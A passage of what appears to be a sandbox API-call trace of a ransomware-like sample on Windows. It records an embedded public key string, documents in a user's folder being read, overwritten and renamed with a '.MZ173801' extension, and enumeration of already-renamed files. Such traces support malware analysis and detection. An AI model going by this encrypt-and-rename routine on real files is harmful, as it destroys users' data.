Z8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0171.513] GetCurrentThreadId () returned 0xab4 [0171.513] GetCurrentThreadId () returned 0xab4 [0171.513] GetCurrentThreadId () returned 0xab4 [0171.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0171.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0171.514] GetCurrentThreadId () returned 0xab4 [0171.514] GetCurrentThreadId () returned 0xab4 [0171.514] GetCurrentThreadId () returned 0xab4 [0171.514] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\U6w rqSTE2RE5fqSNr.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\u6w rqste2re5fqsnr.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0171.514] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0171.514] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0171.514] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0xdd04 [0171.514] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0171.514] ReadFile (in: hFile=0x27c, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0xdd04, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0xdd04, lpOverlapped=0x0) returned 1 [0171.595] CloseHandle (hObject=0x27c) returned 1 [0171.596] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\U6w rqSTE2RE5fqSNr.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\u6w rqste2re5fqsnr.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0171.598] WriteFile (in: hFile=0x27c, lpBuffer=0x24d6e00*, nNumberOfBytesToWrite=0xdd04, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d6e00*, lpNumberOfBytesWritten=0x19f48c*=0xdd04, lpOverlapped=0x0) returned 1 [0171.600] CloseHandle (hObject=0x27c) returned 1 [0171.600] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\U6w rqSTE2RE5fqSNr.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\u6w rqste2re5fqsnr.ppt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\U6w rqSTE2RE5fqSNr.ppt.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\u6w rqste2re5fqsnr.ppt.mz173801")) returned 1 [0171.601] GetCurrentThreadId () returned 0xab4 [0171.601] GetCurrentThreadId () returned 0xab4 [0171.601] GetCurrentThreadId () returned 0xab4 [0171.601] GetCurrentThreadId () returned 0xab4 [0171.601] GetCurrentThreadId () returned 0xab4 [0171.601] GetCurrentThreadId () returned 0xab4 [0171.601] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6753310, ftCreationTime.dwHighDateTime=0x1d5ee0c, ftLastAccessTime.dwLowDateTime=0x4b8684d0, ftLastAccessTime.dwHighDateTime=0x1d5ef8a, ftLastWriteTime.dwLowDateTime=0x4b8684d0, ftLastWriteTime.dwHighDateTime=0x1d5ef8a, nFileSizeHigh=0x0, nFileSizeLow=0xdd04, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="U6w rqSTE2RE5fqSNr.ppt", cAlternateFileName="U6WRQS~1.PPT")) returned 0 [0171.601] GetLastError () returned 0x12 [0171.601] FindClose (in: hFindFile=0xa1b818 | out: hFindFile=0xa1b818) returned 1 [0171.601] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb1db60, ftCreationTime.dwHighDateTime=0x1d5e8a5, ftLastAccessTime.dwLowDateTime=0x906c776c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x906c776c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0171.602] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0171.602] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.602] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb1db60, ftCreationTime.dwHighDateTime=0x1d5e8a5, ftLastAccessTime.dwLowDateTime=0x906c776c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x906c776c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0171.602] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.602] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.602] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1972140, ftCreationTime.dwHighDateTime=0x1d5ea2e, ftLastAccessTime.dwLowDateTime=0x3f8c8230, ftLastAccessTime.dwHighDateTime=0x1d5f05f, ftLastWriteTime.dwLowDateTime=0x902e79b7, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x16db6, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="0anbzC4wy3QV.xls.MZ173801", cAlternateFileName="0ANBZC~1.MZ1")) returned 1 [0171.602] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.602] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.602] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cc23d60, ftCreationTime.dwHighDateTime=0x1d5e76c, ftLastAccessTime.dwLowDateTime=0xb5764290, ftLastAccessTime.dwHighDateTime=0x1d5ee6d, ftLastWriteTime.dwLowDateTime=0x9030dbf9, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x7725, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Bim9Uz1pL.rtf.MZ173801", cAlternateFileName="BIM9UZ~1.MZ1")) returned 1 [0171.602] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.602] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.602] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x609aa000, ftCreationTime.dwHighDateTime=0x1d5eb8d, ftLastAccessTime.dwLowDateTime=0xf3d569a0, ftLastAccessTime.dwHighDateTime=0x1d5e9c0, ftLastWriteTime.dwLowDateTime=0x9030dbf9, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2d1a, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="e ZQq3U39G_rOP6ie.xlsx.MZ173801", cAlternateFileName="EZQQ3U~1.MZ1")) returned 1 [0171.602] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.602] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.602] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6154dc80, ftCreationTime.dwHighDateTime=0x1d5ea12, ftLastAccessTime.dwLowDateTime=0x89189d0, ftLastAccessTime.dwHighDateTime=0x1d5e932, ftLastWriteTime.dwLowDateTime=0x90333f79, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x11e54, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="GwZIku Rmcnil9.rtf.MZ173801", cAlternateFileName="GWZIKU~1.MZ1")) returned 1 [0171.602] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.602] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.602] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31f8da0, ftCreationTime.dwHighDateTime=0x1d5ecfb, ftLastAccessTime.dwLowDateTime=0x33487cf0, ftLastAccessTime.dwHighDateTime=0x1d5f031, ftLastWriteTime.dwLowDateTime=0x90596460, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xc247, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Kbg6SBTSjJvSFEUP4JMP.pptx.MZ173801", cAlternateFileName="KBG6SB~1.MZ1")) returned 1 [0171.602] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.602] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.602] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec6bcd80, ftCreationTime.dwHighDateTime=0x1d5e132, ftLastAccessTime.dwLowDateTime=0xa81b2bb0, ftLastAccessTime.dwHighDateTime=0x1d5e341, ftLastWriteTime.dwLowDateTime=0x905bc6e7, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x186f8, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="KK_ T3p.docx.MZ173801", cAlternateFileName="KK_T3P~1.MZ1")) returned 1 [0171.602] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.602] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.602] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aff5cb0, ftCreationTime.dwHighDateTime=0x1d5ee88, ftLastAccessTime.dwLowDateTime=0xf031e2a0, ftLastAccessTime.dwHighDateTime=0x1d5ec69, ftLastWriteTime.dwLowDateTime=0x905e2a78, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xb766, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="NnWEZGpZkAAsmio3W.pptx.MZ173801", cAlternateFileName="NNWEZG~1.MZ1")) returned 1 [0171.603] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.603] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.603] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e4a520, ftCreationTime.dwHighDateTime=0x1d5efd5, ftLastAccessTime.dwLowDateTime=0x18be7a40, ftLastAccessTime.dwHighDateTime=0x1d5ef0c, ftLastWriteTime.dwLowDateTime=0x18be7a40, ftLastWriteTime.dwHighDateTime=0x1d5ef0c, nFileSizeHigh=0x0, nFileSizeLow=0xf03e, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="nr eBEnfl46_3f.odt", cAlternateFileName="NREBEN~1.ODT")) returned 1 [0171.603] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.603] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.603] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6753310, ftCreationTime.dwHighDateTime=0x1d5ee0c, ftLastAccessTime.dwLowDateTime=0x4b8684d0, ftLastAccessTime.dwHighDateTime=0x1d5ef8a, ftLastWriteTime.dwLowDateTime=0x906c776c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xdd04, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="U6w rqSTE2RE5fqSNr.ppt.MZ173801", cAlternateFileName="U6WRQS~1.MZ1")) returned 1 [0171.603] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.603] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.603] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6753310, ftCreationTime.dwHighDateTime=0x1d5ee0c, ftLastAccessTime.dwLowDateTime=0x4b8684d0, ftLastAccessTime.dwHighDateTime=0x1d5ef8a, ftLastWriteTime.dwLowDateTime=0x906c776c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xdd04, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="U6w rqSTE2RE5fqSNr.ppt.MZ173801", cAlternateFileName="U6WRQS~1.MZ1")) returned 0 [0171.603] GetLastError () returned 0x12 [0171.603] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0171.603] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb1db60, ftCreationTime.dwHighDateTime=0x1d5e8a5, ftLastAccessTime.dwLowDateTime=0x6dc5a0e0, ftLastAccessTime.dwHighDateTime=0x1d5e4cb, ftLastWriteTime.dwLowDateTime=0x6dc5a0e0, ftLastWriteTime.dwHighDateTime=0x1d5e4cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="zkcrT -8SHIvOP_POgOU", cAlternateFileName="ZKCRT-~1")) returned 0 [0171.603] GetLastError () returned 0x12 [0171.603] FindClose (in: hFindFile=0xa1b738 | out: hFindFile=0xa1b738) returned 1 [0171.603] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ac830, ftCreationTime.dwHighDateTime=0x1d5a56f, ftLastAccessTime.dwLowDateTime=0x4e46f3e0, ftLastAccessTime.dwHighDateTime=0x1d5ef07, ftLastWriteTime.dwLowDateTime=0x8e6e3ffe, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x262b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jJcmB8tI.docx.MZ173801", cAlternateFileName="JJCMB8~1.MZ1")) returned 1 [0171.603] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0171.603] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0171.603] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x832eaf00, ftCreationTime.dwHighDateTime=0x1d5f0d6, ftLastAccessTime.dwLowDateTime=0xf2c3a4a0, ftLastAccessTime.dwHighDateTime=0x1d5efd8, ftLastWriteTime.dwLowDateTime=0x8e70a2ca, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xf0f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kcbhP88PnzqBNGqzO3.pptx.MZ173801", cAlternateFileName="KCBHP8~1.MZ1")) returned 1 [0171.603] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0171.603] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0171.603] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59170cc0, ftCreationTime.dwHighDateTime=0x1d5dabb, ftLastAccessTime.dwLowDateTime=0xd2def120, ftLastAccessTime.dwHighDateTime=0x1d5aed9, ftLastWriteTime.dwLowDateTime=0x8e73051c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x131a3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lwhJgzvsl5XlQcrqU6.xlsx.MZ173801", cAlternateFileName="LWHJGZ~1.MZ1")) returned 1 [0171.604] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0171.604] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0171.604] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd70130, ftCreationTime.dwHighDateTime=0x1d59d6b, ftLastAccessTime.dwLowDateTime=0xe7ae06f0, ftLastAccessTime.dwHighDateTime=0x1d5d674, ftLastWriteTime.dwLowDateTime=0x8e9deead, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1076d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="m CS2FXbWa5.xlsx.MZ173801", cAlternateFileName="MCS2FX~1.MZ1")) returned 1 [0171.604] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0171.604] FileTimeToDosDateTime 